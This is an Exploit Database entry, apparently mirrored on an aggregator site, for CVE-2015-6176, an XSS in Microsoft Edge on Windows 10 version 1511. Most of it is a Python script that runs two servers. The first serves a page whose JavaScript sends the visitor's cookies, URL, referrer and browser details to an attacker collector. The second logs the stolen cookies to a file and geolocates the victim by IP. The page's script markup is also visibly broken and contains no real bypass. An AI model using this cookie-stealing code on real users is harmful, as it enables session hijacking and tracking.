Microsoft Edge Windows 10 Version 1511 – Cross Site Scripting (XSS)

Exploit Database
8 阅读

作者： nu11secur1ty

日期： 2025-07-22
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/52372/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

# Titles: Microsoft Edge Windows 10 Version 1511 - Cross Site Scripting (XSS)

# Author: nu11secur1ty

# Date: 2025-07-18

# Vendor: Microsoft

# Software: Microsoft Edge Browser

# Reference: https://www.cve.org/CVERecord?id=CVE-2015-6176

#!/usr/bin/python

# nu11secur1ty CVE-2015-6176

import http.server

import socketserver

import socket

import threading

from urllib import parse

import requests

import datetime

PORT = 8080

COLLECTOR_PORT = 9000

# HTML page with extended XSS exploit that sends lots of info via Image GET

to collector

HTML_CONTENT = b\\\"\\\"\\\"<!DOCTYPE html>

<head>

<title>XSS Edge Bypass PoC</title>

window.onload = function() {

try {

var attackerServer = \\\"http://{LOCAL_IP}:{COLLECTOR_PORT}/collect\\\";

var cookies = document.cookie || \\\"\\\";

var url = window.location.href;

var referrer = document.referrer;

var language = navigator.language || \\\"\\\";

var platform = navigator.platform || \\\"\\\";

var timezone = Intl.DateTimeFormat().resolvedOptions().timeZone ||

\\\"\\\";

var screenRes = screen.width + \\\"x\\\" + screen.height;

var data = {

cookie: cookies,

url: url,

referrer: referrer,

language: language,

platform: platform,

timezone: timezone,

screen: screenRes

};

var query = Object.keys(data).map(function(k) {

return encodeURIComponent(k) + \\\"=\\\" +

encodeURIComponent(data[k]);

}).join(\\\"&\\\");

var img = new Image();

img.src = attackerServer + \\\"?\\\" + query;

} catch(e) {

console.error(\\\"Error sending data:\\\", e);

}

};

</script>

</head>

<body>

<h1 style=\\\"color:red;\\\">XSS Edge Bypass PoC</h1>

<p>If this alert appears, XSS is executed.</p>

</body>

</html>

\\\"\\\"\\\"

# Collector page with large sea picture and centered message (Unicode

allowed)

COLLECTOR_PAGE = \\\"\\\"\\\"<!DOCTYPE html>

<head>

<title>Collected</title>

<style>

body {

margin: 0;

background: url(\\\'

https://images.unsplash.com/photo-1506744038136-46273834b3fb?auto=format&fit=crop&w=1350&q=80\\\')

no-repeat center center fixed;

background-size: cover;

height: 100vh;

display: flex;

justify-content: center;

align-items: center;

color: white;

font-family: Arial, sans-serif;

font-size: 2em;

text-shadow: 2px 2px 5px rgba(0,0,0,0.7);

}

</style>

</head>

<body>

<div>Thank you for visiting the collector page </div>

</body>

</html>

\\\"\\\"\\\"

class ExploitHandler(http.server.SimpleHTTPRequestHandler):

def do_GET(self):

if self.path in (\\\'/\\\', \\\'/index.html\\\'):

content = HTML_CONTENT.replace(b\\\"{LOCAL_IP}\\\",

local_ip.encode()).replace(b\\\"{COLLECTOR_PORT}\\\",

str(COLLECTOR_PORT).encode())

self.send_response(200)

self.send_header(\\\"Content-Type\\\", \\\"text/html; charset=utf-8\\\")

self.send_header(\\\"Content-Length\\\", str(len(content)))

self.end_headers()

self.wfile.write(content)

else:

self.send_error(404)

class CollectorHandler(http.server.BaseHTTPRequestHandler):

def do_GET(self):

parsed_path = parse.urlparse(self.path)

if parsed_path.path == \\\"/collect\\\":

query = parse.parse_qs(parsed_path.query)

cookie = query.get(\\\"cookie\\\", [\\\"\\\"])[0]

url = query.get(\\\"url\\\", [\\\"\\\"])[0]

referrer = query.get(\\\"referrer\\\", [\\\"\\\"])[0]

language = query.get(\\\"language\\\", [\\\"\\\"])[0]

platform = query.get(\\\"platform\\\", [\\\"\\\"])[0]

timezone = query.get(\\\"timezone\\\", [\\\"\\\"])[0]

screen = query.get(\\\"screen\\\", [\\\"\\\"])[0]

ip = self.client_address[0]

user_agent = self.headers.get(\\\"User-Agent\\\", \\\"Unknown\\\")

timestamp = datetime.datetime.now().strftime(\\\"%Y-%m-%d

%H:%M:%S\\\")

location = self.get_location(ip)

if cookie:

print(f\\\"[{timestamp}] [+] Collected cookie: {cookie}\\\")

print(f\\\"URL: {url}\\\")

print(f\\\"Referrer: {referrer}\\\")

print(f\\\"Language: {language}\\\")

print(f\\\"Platform: {platform}\\\")

print(f\\\"Timezone: {timezone}\\\")

print(f\\\"Screen Resolution: {screen}\\\")

print(f\\\"From IP: {ip}\\\")

print(f\\\"User-Agent: {user_agent}\\\")

print(f\\\"Location: {location}\\\")

print(\\\"-\\\" * 50)

# Save collected info to a file

with open(\\\"collected_data.log\\\", \\\"a\\\", encoding=\\\"utf-8\\\") as f:

f.write(f\\\"[{timestamp}] Cookie: {cookie}\\\\n\\\")

f.write(f\\\"URL: {url}\\\\n\\\")

f.write(f\\\"Referrer: {referrer}\\\\n\\\")

f.write(f\\\"Language: {language}\\\\n\\\")

f.write(f\\\"Platform: {platform}\\\\n\\\")

f.write(f\\\"Timezone: {timezone}\\\\n\\\")

f.write(f\\\"Screen Resolution: {screen}\\\\n\\\")

f.write(f\\\"IP: {ip}\\\\n\\\")

f.write(f\\\"User-Agent: {user_agent}\\\\n\\\")

f.write(f\\\"Location: {location}\\\\n\\\")

f.write(\\\"-\\\" * 50 + \\\"\\\\n\\\")

self.send_response(200)

self.send_header(\\\"Content-Type\\\", \\\"text/html; charset=utf-8\\\")

content = COLLECTOR_PAGE.encode(\\\'utf-8\\\')

self.send_header(\\\"Content-Length\\\", str(len(content)))

self.end_headers()

self.wfile.write(content)

else:

self.send_error(404)

def get_location(self, ip):

# Use free IP info service; fallback gracefully if no internet

try:

resp = requests.get(f\\\"https://ipinfo.io/{ip}/json\\\", timeout=3)

if resp.status_code == 200:

data = resp.json()

city = data.get(\\\"city\\\", \\\"\\\")

region = data.get(\\\"region\\\", \\\"\\\")

country = data.get(\\\"country\\\", \\\"\\\")

loc = data.get(\\\"loc\\\", \\\"\\\")

return f\\\"{city}, {region}, {country} (coords: {loc})\\\"

except Exception:

pass

return \\\"Location lookup failed or unavailable\\\"

def get_local_ip():

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

try:

s.connect((\\\"8.8.8.8\\\", 80))

ip = s.getsockname()[0]

except Exception:

ip = \\\"127.0.0.1\\\"

finally:

s.close()

return ip

def run_exploit_server():

with socketserver.TCPServer((\\\"\\\", PORT), ExploitHandler) as httpd:

print(f\\\"[*] Exploit server running at: http://

{local_ip}:{PORT}/index.html\\\")

httpd.serve_forever()

def run_collector_server():

with socketserver.TCPServer((\\\"\\\", COLLECTOR_PORT), CollectorHandler) as

httpd:

print(f\\\"[*] Collector server listening for stolen cookies at:

http://{local_ip}:{COLLECTOR_PORT}/collect\\\")

httpd.serve_forever()

if __name__ == \\\"__main__\\\":

local_ip = get_local_ip()

try:

print(f\\\"[*] Your server IP is: {local_ip}\\\")

exploit_thread = threading.Thread(target=run_exploit_server,

daemon=True)

exploit_thread.start()

run_collector_server()

except KeyboardInterrupt:

print(\\\"\\\\n[!] Shutting down servers. Goodbye!\\\")

```

# Video:

[href](https://www.youtube.com/watch?v=T2YLrFsvXOc)

# Source:

[href](

https://github.com/nu11secur1ty/CVE-mitre/tree/main/2025/CVE-2015-6176)

# Buy me a coffee if you are not ashamed:

[href](https://www.paypal.com/donate/?hosted_button_id=ZPQZT5XMC5RFY)